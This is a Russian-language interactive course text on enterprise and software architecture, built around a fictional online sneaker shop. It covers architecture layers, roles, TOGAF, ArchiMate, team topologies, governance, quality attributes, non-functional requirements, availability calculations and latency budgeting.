Любая задача живёт не в коде, а в компании. Прежде чем проектировать, надо понимать, что вокруг: зачем компания существует, какие у неё процессы, какие данные, какие программы и на чём они работают. Весь раздел — одна история интернет-магазина кроссовок «Ботинок». Маленькая задача аналитика Олега упрётся в четыре стены. Потом компания затеет большой проект «доставка за 2 часа». Мы посмотрим на него глазами всех, кто отвечает за архитектуру, — от архитектора предприятия до системного аналитика.
зачем это зачем аналитику и разработчику смотреть выше своей системы
карта раздела одна история, тринадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Кнопка переносит к главе.
глава 1 · завязка «поменять номер телефона»: задача на час, которая заняла три дня
Понедельник. Олег, системный аналитик «Ботинка», получает задачу: «Анна хочет поменять номер телефона в личном кабинете. Сделайте». Кажется, это на час: одна форма, одно поле, одна запись в базе. Нажмите на каждый тупик, в который Олег упрётся к обеду.
Олег потратил три дня не на форму, а на поиск хозяев: кто решает, можно ли менять номер; чья запись главная; кто ещё пользуется номером; через что идёт запрос в бою. У каждого вопроса оказался свой хозяин, свои документы и свой язык. Эти четыре сорта вопросов называются слоями архитектуры предприятия. К концу раздела вы будете находить хозяина за минуты — по карте.
глава 2 · масштаб архитектура предприятия, решения и системы: одна идея, три высоты
Через месяц директор «Ботинка» объявляет: «Через год доставляем по Москве за 2 часа». На эту фразу смотрят люди с разной высоты. Слово «архитектура» у них одно, а вопросы — разные.
Интерактив: поднимитесь на нужную высоту
Выберите масштаб. Подсветится, где он находится в «матрёшке», и что на этой высоте видно в проекте «доставка за 2 часа».
глава 3 · роли кто есть кто: пять ролей вокруг одного проекта
На проекте «доставка за 2 часа» работают пять человек, и у каждого в должности есть слово «архитектор» или «аналитик». Путать их — частая беда новичка: он несёт вопрос не тому и неделю ждёт ответа. Нажмите на строку, чтобы раскрыть подробности.
Тренажёр: чья это задача?
Десять задач из проекта. Отнесите каждую к роли. Ошибётесь — прочитаете разбор.
Разложено 0 из 0.
Частые ошибки
- Аналитик ждёт, что архитектор решения опишет поля API. Не опишет: это работа аналитика.
- Архитектор предприятия рисует схемы классов одного сервиса — и перестаёт видеть компанию целиком.
- Стык двух систем ничей: каждая команда думает, что интеграцию описывает соседняя.
глава 4 · четыре слоя как архитектор предприятия видит «Ботинок»
Вера, архитектор предприятия, показывает Олегу, как она видит компанию: четыре слоя, лежащих друг на друге. Каждый верхний опирается на нижний. Процессы работают в приложениях, приложения хранят данные, а всё это крутится на технике.
Интерактив: нажмите на слой
Нажмите на любой слой — увидите, что там живёт, кто отвечает, какие артефакты рисуют и что ломается, если ошиблись.
Бизнес-слой изнутри: четыре вещи, которые постоянно путают
Самый трудный для новичка слой — верхний. В нём живут четыре разных сорта вещей, и в разговоре их смешивают. Разберём на одной теме — доставке.
🎯 Возможность
Что компания умеет делать — без «как» и «кем».
🔁 Процесс
Как она это делает: шаги с началом, концом и результатом.
👥 Оргструктура
Кто отвечает: отделы, команды, роли.
📦 Продукт
Что покупает клиент и за сколько.
Тренажёр: отнесите решение к слою
Двенадцать решений из жизни проекта. Ошибётесь — прочитаете разбор, это и есть смысл. Пятая корзина, «сквозное», — для решений, у которых нет своего слоя: они связывают остальные четыре (подробно — в главе 9).
Разложено 0 из 0.
Частые ошибки
- Называть возможностью отдел («у нас есть возможность „Отдел логистики“»).
- Начинать с нижнего слоя: «берём Kafka», ещё не зная, какой процесс она будет обслуживать.
- Описывать приложения без данных: схема сервисов есть, а чья запись главная — не сказано.
глава 5 · живая модель трассировка: что нужно, чтобы Анна купила кроссовки
Слои лежат друг на друге не просто так: между ними есть связи. Возможность «Продажа» держится на процессах, процессы работают в приложениях, приложения хранят данные на серверах. Вера держит эти связи в одной модели. Олегу это пригодится дважды: когда он оценивает, что затронет его задача, и когда ночью что-то падает.
Модель «Ботинка»: 26 узлов в пяти полосах
Режим «Связи»: нажмите на узел — подсветится всё, что ему нужно (ниже), и всё, что от него зависит (выше). Режим «Отказ»: нажмите на узел — он «упадёт», и волна пойдёт вверх по связям. Узел можно выбрать и из списка. Справа — три задания.
• db-01 держит три сущности — «Клиент», «Заказ», «Отправление». Его отказ останавливает все три возможности. Это единая точка отказа, и без модели её не видно: каждая команда знает только свою таблицу. Лечат репликой с переключением или разносом данных по разным серверам.
• Сервер склада стоит на пути продажи: оформить заказ нельзя, пока склад не зарезервировал товар. Архитектор решения спросит: а можно принимать заказ сразу, а резервировать через минуту? Это уже бизнес-вопрос — готовы ли мы иногда продать то, чего нет.
• Kafka — на пунктире. Её отказ не останавливает продажу: сервис заказов складывает события у себя в базе (шаблон outbox) и отправит их позже. Но статусы Анне придут с опозданием, и доставка узнает о заказе позже.
Частые ошибки
- Связи хранятся в головах двух старожилов. Ушёл старожил — ушла карта.
- Трассируют только сверху вниз («что нужно проекту»), а «что затронет отказ» выясняют во время аварии.
- Карту нарисовали один раз и не обновляют. Устаревшей карте верят — поэтому она опаснее, чем никакая.
- Не различают синхронные и асинхронные связи и неверно оценивают последствия отказа.
глава 6 · карта возможностей куда вложить бюджет: тепловая карта «Ботинка»
Совет директоров даёт на следующий год бюджет на две крупные доработки. Маркетинг просит новую рекламную платформу, финансы — новую бухгалтерию, логистика — курьерский модуль. Каждый уверен, что его просьба важнее. Вера приносит на совет одну страницу — карту возможностей.
Интерактив: четыре линзы одной карты
Зрелость (1–5) — насколько хорошо возможность работает сейчас: 1 — вручную и с ошибками, 5 — автоматизировано и измеряется. Важность (1–5) — насколько она нужна стратегии на ближайшие годы. Затраты — сколько компания тратит на неё в год (люди и системы). «Куда вкладывать» — сводная линза. Переключайте линзы и нажимайте на клетки. Потом возьмите задание.
Как составляют карту возможностей
Частые ошибки
- Карта возможностей — это оргструктура с переименованными отделами.
- 300 карточек: карту, которую нельзя окинуть взглядом, не используют для решений.
- Оценки без владельцев: архитектор сам поставил «зрелость 2», и логистика не согласна с картой целиком.
- Тепловая карта как приговор. Это повод для разговора, а не готовое решение.
глава 7 · TOGAF ADM колесо фаз: как «доставку за 2 часа» вели от идеи до внедрения
Бюджет выделен. Теперь Вере нужен порядок работы: с чего начать, что нарисовать, когда передать проектам и как проследить, что построили задуманное. Для этого есть стандартный цикл.
Интерактив: нажмите на фазу
Нажмите на фазу в колесе или на кнопку с её буквой. «▶ Пройти цикл» проведёт по всем фазам по порядку. Для каждой фазы — что происходит, главные вопросы, артефакты (с английскими названиями, как в стандарте), что было в «Ботинке» и где участвует аналитик.
Частые ошибки
- Делать ADM ради документов: 200 страниц, которые никто не прочтёт.
- Пропустить фазу A и сразу рисовать целевую архитектуру: нет видения — нет критерия, что правильно.
- Забыть фазу G: нарисовали и ушли, а проекты построили по-своему.
- Считать ADM водопадом. Из фазы C нормально вернуться в B, если выяснилось новое.
глава 8 · ArchiMate как нарисовать все слои на одной схеме и не спорить о стрелках
Вера описала целевую архитектуру. Но если каждый рисует по-своему, прямоугольник у одного — сервер, у другого — команда, а стрелка значит то «вызывает», то «зависит», то «входит в». Нужен общий язык схем.
Бизнес-слой
Актор — кто (Анна, отдел). Роль — в каком качестве. Бизнес-процесс, функция, событие. Бизнес-сервис — что бизнес даёт наружу. Бизнес-объект — понятие («Заказ»). Продукт.
Слой приложений
Компонент приложения — программа, сервис. Интерфейс — API или экран. Функция и процесс приложения. Сервис приложения — что программа даёт наружу. Объект данных — запись, таблица.
Слой технологий
Узел — сервер, кластер. Устройство. Системное ПО — СУБД, операционная система. Технологический сервис — хостинг, хранение. Артефакт — файл, образ контейнера. Сеть связи.
Связи: у каждой стрелки один смысл
Нажмите на строку — раскроется пояснение.
Интерактив: прочитайте схему по шагам
Один срез «Ботинка»: как процесс «Оформить заказ» держится на программах и технике. На каждом шаге подсвечена одна связь и объяснено, как её читать.
Частые ошибки
- Всё на одной схеме: 120 элементов, которые никто не прочитает. Рисуют отдельные виды (views) под вопрос: «что держит процесс», «где развёрнуто».
- Путают сервис и компонент. Сервис — обещание («принимаем заказы»), компонент — программа, которая его выполняет.
- Везде «просто линия» (ассоциация). Такая схема не отвечает ни на один вопрос.
глава 9 · SEAF одна карта вместо четырёх документов
Четыре слоя описывают четыре разных человека. В разное время и каждый своими словами:
| Кто | Что он написал у себя |
|---|---|
| бизнес | процесс «Оформление заказа» |
| аналитик | сущность «Заказ» |
| архитектор | сервис order-api |
| инфраструктура | сервер srv-prod-14 |
Четыре документа. Каждый сам по себе нормальный. Но связать их между собой нельзя: нигде не написано, что процесс оформления заказа работает на сервисе order-api, который хранит «Заказ» и живёт на srv-prod-14. Эта связь есть только в голове у пары старожилов.
Два случая, когда это выстреливает. Выберите случай и посмотрите, что происходит.
Из чего состоит единый свод правил
🧬 Метамодель
Какие типы элементов бывают (возможность, процесс, приложение, сущность, узел) и какие связи между ними разрешены. Без неё один пишет «сервис», другой «система», третий «модуль» — про одно и то же.
📖 Единый словарь
«Заказ» значит одно и то же у бизнеса, аналитика и в базе. Если в разных частях компании слово значит разное, это записано явно.
🗄 Репозиторий
Одно место, где лежит модель. Часто — «архитектура как код»: описания в текстовых файлах рядом с кодом, из них автоматически рисуются схемы.
🔑 Правила владения
У каждого элемента есть хозяин. Изменилось в проде — изменилось в модели, и это проверяется, а не остаётся на совести.
Пример артефакта: описание сервиса в репозитории
Так может выглядеть описание сервиса заказов в формате «архитектура как код». Формат условный — у каждой компании свой, — но смысл один.
id: order-api
title: Сервис заказов
type: application-component # тип из метамодели
owner: team-checkout # команда-хозяин
supports: # связь с бизнес-слоем
- process: checkout # «Оформление заказа»
- process: return # «Возврат товара»
data: # связь со слоем данных
- entity: order # «Заказ»
role: master # главная запись — здесь
- entity: client # «Клиент»
role: read-copy # копия; мастер — CRM
runs-on: # связь с технологиями
- node: k8s-prod
- node: db-01
criticality: 1 # по самой важной возможности
Частая путаница: слоёв четыре, а коробок на схеме шесть
Рядом с четырьмя слоями на схемах стоят ещё две коробки: SEAF и управление требованиями. Это не слои. Разница по клику.
Частые ошибки
- Модель ради модели: красиво нарисовали, но ни одно решение по ней не принимают — и её перестают обновлять.
- Метамодель на 80 типов элементов. Люди путаются и пишут в свободном поле что попало.
- Обновление модели — отдельная ручная работа «потом». «Потом» не наступает.
глава 10 · Конвей и Team Topologies как устройство команд становится устройством системы
В «Ботинке» решили: доставкой за 2 часа займутся «все понемногу». Через два месяца Кирилл замечает, что схема системы подозрительно похожа на схему отделов. Это не совпадение.
Интерактив: выберите, как поделены люди
Выберите оргструктуру и посмотрите, что из неё вырастет.
Team Topologies: четыре типа команд и три способа общения
🌊 Потоковая команда
(stream-aligned team) Отвечает за поток изменений одной части бизнеса «от идеи до продакшена»: сама проектирует, пишет, выкатывает и дежурит. Основной тип — таких команд большинство.
🧱 Платформенная команда
(platform team) Делает внутренний продукт для других команд — окружения, конвейер сборки, мониторинг, — чтобы потоковые команды брали всё это сами, без заявок и ожидания.
🧮 Команда сложной подсистемы
(complicated-subsystem team) Держит часть, где нужны редкие знания: математику маршрутов, распознавание, движок цен. Остальные пользуются результатом, не вникая в формулы.
🧭 Команда-помощник
(enabling team) Временно помогает другим освоить новое — наблюдаемость, тестирование — и уходит. Работу за них не делает.
🤝 Сотрудничество
(collaboration) Две команды тесно работают вместе над новым, границы размыты. Хорошо на время поиска решения, дорого навсегда.
🔌 Как услуга
(X-as-a-Service) Одна команда даёт, другая пользуется по понятному контракту, почти без встреч. Обычный режим для платформы.
🧭 Содействие
(facilitating) Одна команда помогает другой научиться. Режим команды-помощника.
Живая модель: меняете команды — меняется архитектура
Выберите, как поделены люди, добавьте типы команд и режим общения. Модель сразу покажет, какая архитектура вырастет и во что обойдётся фича «доставка за 2 часа». Потом нажмите «▶ Провести фичу» и посмотрите, через какие команды она пройдёт.
Команды и как они общаются
Архитектура, которая вырастет
Частые ошибки
- Переименовать отделы в «потоковые команды», ничего не поменяв в том, кто за что отвечает.
- Платформа превращается в ещё один отдел с очередью заявок вместо самообслуживания.
- Вечное «сотрудничество» вместо контракта: две команды годами синхронизируются на встречах.
- Команда-помощник делает работу за других — и остаётся навсегда.
глава 11 · управление архитектурное управление: как 14 команд не растаскивают систему в разные стороны
В «Ботинке» 14 команд. Каждая за месяц принимает десятки технических решений. Если никто не следит, через год в компании пять видов баз данных, три брокера и четыре способа логировать, а дежурный ночью не знает ни одного из них целиком. Борис из команды доставки как раз хочет взять для слотов MongoDB.
📜 Принципы
Короткие правила, по которым принимают решения: «данные — актив, у каждой сущности один хозяин».
📐 Стандарты и каталог
Какие технологии разрешены. Часто в виде техрадара с кольцами «Использовать», «Пробовать», «Оценивать», «Не брать» (Adopt, Trial, Assess, Hold).
🏛 Архитектурный комитет
(Architecture Board) Группа архитекторов и техлидов, которая принимает решения, выходящие за одну команду, и выдаёт исключения из стандартов.
🔍 Архитектурное ревью
Проверка решения до реализации: соответствует ли принципам, отвечает ли на ключевые вопросы, какие риски.
🗂 Реестр решений
Журнал принятых решений (ADR): что решили, почему, что отвергли и когда пересмотреть.
Артефакт 1: принцип
П-5. Сначала стандартные технологии
Формулировка: Новые системы строим на технологиях из каталога
со статусом «Использовать». Остальное — только
через исключение, одобренное архитектурным комитетом.
Обоснование: Каждую технологию надо уметь обновлять, бэкапить
и чинить ночью. Пять разных баз — пять наборов
знаний у дежурных.
Следствия: • каталог технологий пересматриваем раз в квартал;
• у каждого исключения есть срок и владелец;
• обучение новой технологии — до внедрения, не после.
Артефакт 2: запись в реестре решений
ADR-0042. Хранение слотов доставки
Статус: принято, 14.09.2026
Контекст: Слоты — расписание на 14 дней по 120 зонам Москвы,
до 300 резервирований в секунду в пик.
Команда предлагала MongoDB (заявка АР-117).
Варианты: 1) PostgreSQL, расписание в поле JSONB
2) MongoDB
Решение: вариант 1.
Обоснование: укладывается в нагрузку; принцип П-5;
бэкапы и дежурства уже настроены.
Последствия: + в проде не появляется новая технология
− структуру расписания сложнее менять
Пересмотр: если слотов станет больше 50 млн.
Интерактив: путь одного решения
Два сценария одной истории. Пройдите оба до конца: по правилам и в обход.
Проверочный список ревью: на какие вопросы отвечает описание архитектуры
С этим списком архитектурный комитет смотрит на любое крупное решение. Нет ответа — значит, решение ещё не принято, и его примет за вас случай. Нажмите на строку.
Частые ошибки
- Комитет как бутылочное горлышко: ревью длится шесть недель — и все начинают его обходить.
- Принципы-лозунги без следствий.
- Реестр решений, который никто не читает, потому что его не найти.
- Ревью после релиза, когда менять уже поздно и дорого.
глава 12 · место аналитика где на этой карте системный аналитик и что он производит
Вернёмся к Олегу. Он не рисует карту возможностей и не выбирает серверы. Его дом — слои приложений и данных. Одной ногой он стоит в бизнесе: переводит процессы и правила в требования к системе. Технологий он касается через нефункциональные требования: называет числа, а не выбирает железо. И он держит нитки трассировки, которые связывают требование с целью наверху и с сервисом внизу.
Интерактив: артефакты аналитика по слоям
Пример: цепочка от цели компании до сервера
Цель компании 30 % заказов по Москве — с доставкой в день заказа к концу 2027
└ Возможность 3.2 «Доставка заказов» (карта возможностей)
└ Процесс «Оформить экспресс-доставку», шаг 4 (BPMN)
└ ФТ-31 покупатель выбирает двухчасовой слот в корзине (постановка Олега)
└ API POST /delivery-slots/{id}/reservations (спецификация OpenAPI)
└ Данные «Слот доставки», «Резерв слота» (логическая модель)
└ Узлы k8s-prod, db-01 (схема развёртывания)
| Требование | Возможность | Процесс, шаг | Сервис / API | Проверка |
|---|---|---|---|---|
| ФТ-31 выбор слота в корзине | 3.2 | Оформить экспресс-доставку, 4 | delivery: POST …/reservations | ТК-88, ТК-89 |
| ФТ-32 резерв держится 15 минут | 3.2 | тот же, 5 | delivery: снятие просроченных резервов | ТК-90 |
| ФТ-33 Анна видит «курьер выехал» | 3.2 | Доставить курьером, 2 | notify: событие «Заказ передан курьеру» | ТК-91 |
| НФТ-3 ответ ≤ 300 мс у 95 % при 300 запросах/с | 3.2 | — | delivery | нагрузочный тест НТ-4 |
Как это звучит: плохо и хорошо
Эпилог: задача про телефон, решённая за день
Через полгода Олегу снова приходит похожая задача. Теперь у «Ботинка» есть карта.
Частые ошибки аналитика
- Требование без ссылки на цель: через полгода никто не помнит, зачем это поле.
- Описан только свой сервис, а стык с соседом ничей.
- НФТ-пожелания: «быстро», «надёжно» — без чисел и способа проверки.
- Решать за архитектора: «использовать Kafka» вместо свойства, которое нужно бизнесу.
глава 13 · проверь себя от слоёв до команд
Часть 1. Основы
Решено 0 из 0.
Часть 2. Роли, карты, TOGAF, команды и управление
Решено 0 из 0.
Архитектура — это решения, которые потом дорого переделать. Не картинки и не список модных технологий. Поменять язык в одном сервисе — вопрос пары месяцев. Поменять границы между частями системы и то, кто владеет данными, — вопрос пары лет. Поэтому такие решения принимают осознанно: вовремя, вслух, с цифрами и с записью. Весь раздел — одна история. Интернет-магазин кроссовок «Ботинок» мы проживём дважды: без архитектора и с ним. И посмотрим, как решения первого месяца аукаются через год.
зачем это зачем аналитику знать, что такое архитектура
карта раздела одна история, шестнадцать глав
Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней. Если времени мало — прочитайте главы 1, 4, 7, 9 и 14: это скелет раздела.
глава 1 · завязка два «Ботинка»: одна команда, два разных года
Сначала — что мы вообще называем архитектурой. Потом — история.
Знакомьтесь: «Ботинок»
Январь. Вера открывает интернет-магазин кроссовок «Ботинок». Денег хватит на полгода, запуститься нужно к марту. В команде двое: разработчик Борис и аналитик Олег на полставки. Первой покупательницей станет Анна — мы ещё встретим её в ноябре.
Этот год мы проживём дважды.
«Ботинок-1»: без архитектора
Борис решает всё сам и быстро. Никто не спрашивает «а что будет, если…». Злого умысла нет — просто некогда: до запуска восемь недель.
«Ботинок-2»: с архитектором
Те же люди, тот же срок. Но пару часов в неделю с ними сидит архитектор Марина. Она почти ничего не рисует. Она задаёт вопросы: «что из этого будет дорого поменять?», «что будет, если нажмут дважды?», «сколько стоит час простоя?». Олег записывает ответы в требования.
Пройдите год по шагам. Слева — первый магазин, справа — второй. Внизу копятся часы на разговоры и дни на переделки.
глава 2 · карта как устроен большой магазин: пройдите запрос по шагам
Прежде чем спорить о решениях, полезно увидеть, из чего вообще бывает сделана система. Ниже — типичный интернет-магазин, когда он вырос. Так мог бы выглядеть «Ботинок» года через три, когда команд станет пять. В первый год почти ничего из этого не нужно. Каждый блок появляется в свой момент — когда без него уже больно.
Выберите, что делает покупатель, и прожмите шаги: подсветится путь запроса, а ниже появится разбор каждого звена — сколько занимает и что будет, если оно сломается.
глава 3 · определение что делает решение архитектурным
В любой системе принимаются тысячи решений. Как назвать переменную. Какую библиотеку взять для дат. Где хранить заказы. Большинство — мелкие. Архитектурный ритуал (обсуждение, запись, сравнение вариантов) на них тратить не нужно. Нужен фильтр.
Практический фильтр: решение архитектурное, если выполняются оба условия.
1. Его дорого отменить
Не «неприятно», а дорого: недели работы, миграция данных, простой, переписывание интеграций у смежников. Если откат стоит полдня — это не архитектура, это реализация.
2. Оно ограничивает будущие решения
Выбрав «у каждого сервиса своя база», вы автоматически отказались от транзакции на два сервиса и подписались на саги. Решение тянет за собой шлейф вынужденных.
Шесть мест, где прячутся архитектурные решения
Архитектура — это не только «монолит или микросервисы». Вот где ещё лежат несущие стены.
🧱 Структура
Из каких частей система. Где проходят границы. Кто кого вызывает. Пример: «доставка — отдельный модуль, в чужие таблицы не ходит».
🗄 Данные
Где и в каком виде лежат данные, кто ими владеет. Пример: «деньги — целые копейки», «у заказов своя база».
🔌 Взаимодействие
Как части и внешние системы общаются: синхронно или через события, какой контракт. Пример: «партнёру отдаём непрозрачный идентификатор заказа».
📏 Качество
Какие свойства обязательны и в каких числах. Пример: «оформление заказа доступно 99,9 % времени в месяц».
🚀 Развёртывание
Где работает система и как выкатывается. Пример: «одна зона облака, выкатка без простоя, откат за 5 минут».
👥 Люди
Какая команда за что отвечает. Система повторяет структуру команд — это закон Конвея, он в главе 13.
Примеры из «Ботинка»
| Решение | Архитектурное? | Почему |
|---|---|---|
| Хранить суммы в копейках целым числом | да | Через год на этом типе лежат миллионы заказов, отчёты и чеки. Поменять — миграция и пересверка. |
| Одна программа и одна база на старте | да | Определяет, как будет расти система и что придётся резать потом. Решение правильное, но его стоит принять осознанно. |
| Формат номера заказа, который видят партнёры | да | Внешний контракт: его записали в свои базы другие компании. Своё поменять можно, чужое — только договорившись. |
| Библиотека для генерации PDF-чеков | нет | Если она спрятана за одной функцией «сделать чек», замена — день работы. Ничего не ограничивает. |
| Цвет кнопки «Купить» | нет | Меняется за минуты, можно проверить на части покупателей. |
| Как назвать класс расчёта скидки | нет | Переименование — одна команда в редакторе кода. |
глава 4 · цена времени почему «поздно» — значит «дорого»: кривая стоимости изменений
В сентябре бухгалтерия «Ботинка-1» нашла расхождение копеек в чеках. Исправление заняло пять недель. В январе то же решение стоило двух часов разговора. Почему одна и та же правка подорожала в сто раз? Разберёмся.
Почему кривая растёт
1. На решение опирается код
Каждая новая функция, написанная поверх неверного решения, — ещё одно место, которое придётся переписать.
2. Копятся данные
Код можно переписать. Миллион заказов, уже сохранённых в неверном виде, придётся переносить и сверять.
3. Появляются внешние потребители
Партнёр доставки, банк, бухгалтерия, мобильное приложение у покупателей. Их нельзя поменять одним выкатом — только договориться.
4. Забывается контекст
Через год никто не помнит, почему сделали именно так. Боятся трогать: «вдруг там что-то держится».
Живой график: когда решили и когда заметили
Выберите решение из истории «Ботинка». Первый ползунок — месяц, когда решение приняли. Второй — месяц, когда поняли, что оно неверное. График покажет, сколько стоит исправление в человеко-днях. Галочка ниже прячет решение за интерфейсом и тестами — посмотрите, какой кривой это помогает, а какой нет.
Что придётся переделать
Как сплющить кривую
Кривую нельзя отменить, но её можно сделать пологой. Именно этим архитектура экономит деньги.
Спрятать решение за границей
Если вся работа с платёжным банком идёт через один модуль-переходник, смена банка трогает только его. Решение внутри перестаёт быть «несущим».
Автотесты
Они дают смелость менять. Без них любую правку старого кода боятся, и кривая растёт от страха, а не от сложности.
Миграции «расширить — сжать»
Сначала добавить новое поле рядом со старым, потом перевести всех, потом убрать старое. Изменение данных идёт без простоя и с возможностью отката.
Записывать решения
Запись «почему так» (ADR, глава 14) снимает страх «вдруг там что-то держится». Через год видно, на каких допущениях стоит решение и живы ли они.
глава 5 · двери двери в одну и в две стороны и последний ответственный момент
Из главы 4 легко сделать неверный вывод: «надо всё обдумать заранее». Нет. Обдумывать заранее всё — дорого и бессмысленно. Большинство решений легко отменить. Искусство в том, чтобы отличить одни от других.
🚪↔ Дверь в две стороны
Решает небольшая группа или один человек. Быстро. Пробуют, меряют, при необходимости откатывают. Записывать подробно не нужно. Ошибка стоит часы.
🚪→ Дверь в одну сторону
Решают медленно и вслух. Сравнивают варианты, проверяют на макете, спрашивают тех, кого решение затронет. Записывают: что решили, почему, чем платим. Ошибка стоит месяцы.
Сортировщик: какая это дверь?
Разложите решения «Ботинка». Думайте не о том, важное ли решение, а о том, сколько стоит его отменить.
Решено 0 из 0.
Последний ответственный момент
Попробуйте найти последний ответственный момент для трёх решений «Ботинка-2». Двигайте ползунок — неделю, когда Марина принимает решение. Кружки на шкале — факты, которые становятся известны со временем. Красный пунктир — когда начинается работа, которой это решение нужно.
глава 6 · атрибуты атрибуты качества: не только «что делает», но и «как»
Вернёмся в январь «Ботинка-2». Марина спрашивает Веру: «Что магазин должен делать?» Вера отвечает быстро: показывать кроссовки, класть в корзину, принимать оплату, отправлять письмо. Потом Марина спрашивает: «А каким он должен быть?» И тут Вера задумывается.
Справочник: чем каждое свойство измеряют
Нажмите на строку: там написано, чем свойство измеряют — потому что неизмеримое свойство в требовании бесполезно.
Разбор: десять свойств, о чём каждое и с чем связано
Выше они перечислены строчками. Здесь каждое разбирается: что оно означает простыми словами, чем его меряют, что с ним связано и чем платить за улучшение. Выберите свойство и нажмите «▶ Показать на примере».
Три гвоздя: выберите, что важнее
Нельзя оптимизировать всё сразу — свойства конкурируют за одни и те же деньги, время и сложность. Отметьте три свойства, которые для вашей системы важнее остальных, и посмотрите, чем за это обычно платят и какая архитектура напрашивается.
Что это значит на практике
глава 7 · компромиссы архитектура — это компромиссы: пульт «Ботинка»
Весна «Ботинка-2». Вера формулирует пожелания: «Хочу, чтобы магазин никогда не падал. Чтобы летал. Чтобы новые фичи выходили каждый день. И чтобы это стоило недорого». Марина не спорит. Она говорит: «Давай покажу, что стоит за каждым из этих слов», и открывает пульт.
Живая модель: четыре ползунка
Каждый ползунок — насколько это свойство важно, от 1 до 5. Схема «Ботинка» ниже перестраивается: появляются и исчезают кеш, реплики, вторая зона, конвейер выпуска. Потом устройте магазину испытание кнопками — полетят запросы, и вы увидите, что выдержит, а что нет.
глава 8 · сценарий сценарий атрибута качества: шесть частей хорошего требования
Вера согласилась: доступность оформления заказа — главное. Но что именно проверять? «Система доступна» — это когда? При каком сбое? Что должно произойти и за сколько? Олег записывает требование по шаблону, который придумали в Институте программной инженерии университета Карнеги — Меллон (SEI). Шаблон называется сценарием атрибута качества.
1. Источник
Кто или что вызвало событие: покупатель, злоумышленник, сломавшийся сервер, владелица бизнеса с новой просьбой.
2. Стимул
Само событие: 1200 запросов в секунду, отказ базы, попытка входа в чужой аккаунт, просьба подключить новый банк.
3. Артефакт
Какая часть системы задета: сервис каталога, база заказов, модуль платежей. Не «система целиком».
4. Среда
В каких условиях: обычный вечер, Чёрная пятница, выкатка новой версии, во время разработки.
5. Реакция
Что система должна сделать: переключиться на резерв, отдать страницу, заблокировать вход, принять изменение в одном модуле.
6. Мера отклика
Число, по которому проверяем: не дольше 60 секунд, p95 ≤ 400 мс, 0 потерянных заказов, не больше 10 рабочих дней.
Конструктор: соберите сценарий
Выберите атрибут. Для каждой из шести частей выберите формулировку. Часть вариантов — ловушки: размытые, про другой атрибут или неизмеримые. Нажмите «Проверить сценарий» — конструктор скажет, что не так, и покажет, как сценарий превращается в строку постановки. Соберите по одному правильному сценарию для всех четырёх атрибутов.
глава 9 · НФТ из пожелания — в требование: переписываем плохие НФТ
В «Ботинке-1» тоже был документ с НФТ. В нём было написано: «Система должна быть быстрой, надёжной, масштабируемой и удобной». Эту фразу нельзя ни выполнить, ни провалить. Поэтому её никто и не выполнял.
Опасные слова
Если в НФТ есть одно из этих слов без числа рядом — требование надо переписать.
Формула хорошего НФТ
Что именно
Какая операция, какая часть системы, для кого. Не «система», а «страница каталога».
Число и единица
Перцентиль и миллисекунды, проценты за месяц, рабочие дни. Не среднее — у среднего нет хвоста.
Условия
При какой нагрузке, на каком объёме данных, во время чего. Без условий число ничего не значит.
Как проверяем
Нагрузочный тест, мониторинг в проде, учения, тест с пользователями. Кто проверяет и когда.
Мастерская: перепишите шесть требований «Ботинка-1»
Выберите плохое требование. Нажимайте на кусочки — они добавляются в формулировку. Нужные кусочки закрывают пункты формулы. Среди кусочков есть ловушки: они звучат солидно, но делают требование хуже. Требование засчитано, когда все четыре пункта закрыты и ловушек нет.
Переписано 0 из 6.
Вопросы, которые аналитик задаёт, чтобы получить числа
глава 10 · девятки девятки доступности и бюджет ошибок
Вера сказала: «Магазин должен работать всегда». Марина переспросила: «Сколько минут в месяц он может не работать, чтобы вы не потеряли больше, чем стоит защита?» Вот тут и начинаются девятки.
Цепочка перемножает
Анна оформляет заказ. Её запрос проходит балансировщик, шлюз, сервис заказов, платежи и базу. Если каждое звено доступно 99,9 %, а для успеха нужны все — доступности перемножаются: 0,999 × 0,999 × … Каждое новое синхронное звено ухудшает итог. А резерв работает наоборот: если у звена две независимые копии, оно недоступно, только когда упали обе, — и шанс этого перемножается уже в вашу пользу.
последовательно (нужны все): A = a₁ × a₂ × … × aₙ параллельно (хватит любой): A = 1 − (1 − a₁) × (1 − a₂) минут простоя в месяц: (1 − A) × 43 830 (средний месяц = 30,44 суток)
Калькулятор: девятки, цепочка и месяц простоев
глава 11 · числа откуда берутся 400 мс и 1200 запросов в секунду
«Система должна быть быстрой» — это не требование. Требование выглядит так: p95 ниже 400 мс при 1200 запросах в секунду. Сейчас разберём, из чего эти два числа складываются и что на них влияет. Это нужно аналитику не для того, чтобы оптимизировать самому, а чтобы понимать, реалистично ли число, которое он пишет в требования.
Шаг 1. Задержка — это сумма звеньев
Возьмём запрос «открыть список товаров». Он не «медленный» сам по себе — он состоит из кусков, и каждый кусок можно посчитать отдельно.
Шаг 2. Включите улучшения и смотрите, что меняется
Отметьте, что вы сделали с системой. Числа пересчитаются, а внизу будет написано, что теперь стало узким местом. Попробуйте добиться обеих целей: p95 ниже 400 мс и 1200 запросов в секунду.
запросов в секунду = число рабочих потоков ÷ задержку одного запроса. Это закон Литтла. Отсюда главное следствие: ускорили один запрос — подняли пропускную способность всей системы, не докупая железа.Шаг 3. Что на что влияет
Таблица, к которой стоит возвращаться. Слева — что болит, справа — куда смотреть и чем платить за лечение.
| Узкое место | Как выглядит | Чем лечится | Чем платите |
|---|---|---|---|
| База: запрос без индекса | p95 растёт вместе с объёмом таблицы. Вчера 20 мс, сегодня 300 мс, данных стало вдвое больше | Индекс под конкретный запрос | Запись чуть медленнее, место на диске. Почти всегда окупается |
| База: запросов слишком много | Каждый по 5 мс, но их 200 на один экран. Классическая «задача N+1» | Один запрос вместо двухсот; кеш; готовая витрина | Кеш устаревает, витрина отстаёт |
| Сеть: много кругов | Сервис зовёт четыре других по очереди. Задержки складываются | Звать параллельно; собрать один толстый вызов вместо четырёх тонких | Сложнее обработка ошибок: четыре источника вместо одного |
| Сеть: далеко до клиента | Клиент во Владивостоке, сервер в Москве. 120 мс только на дорогу, туда и обратно | CDN для статики; точка присутствия ближе к клиенту | Деньги и сложность обновления кешей |
| Потоков не хватает | Задержка одного запроса в норме, но очередь на входе растёт | Больше потоков или узлов | Помогает, только если узкое место не база. Иначе вы просто быстрее приносите базе то, что она не успевает переварить |
| Внешний смежник тормозит | Ваш код быстрый, но ждёт чужого ответа две секунды | Таймаут, размыкатель цепи, ответ из кеша, асинхронная обработка | Данные могут быть неточными, часть функций деградирует |
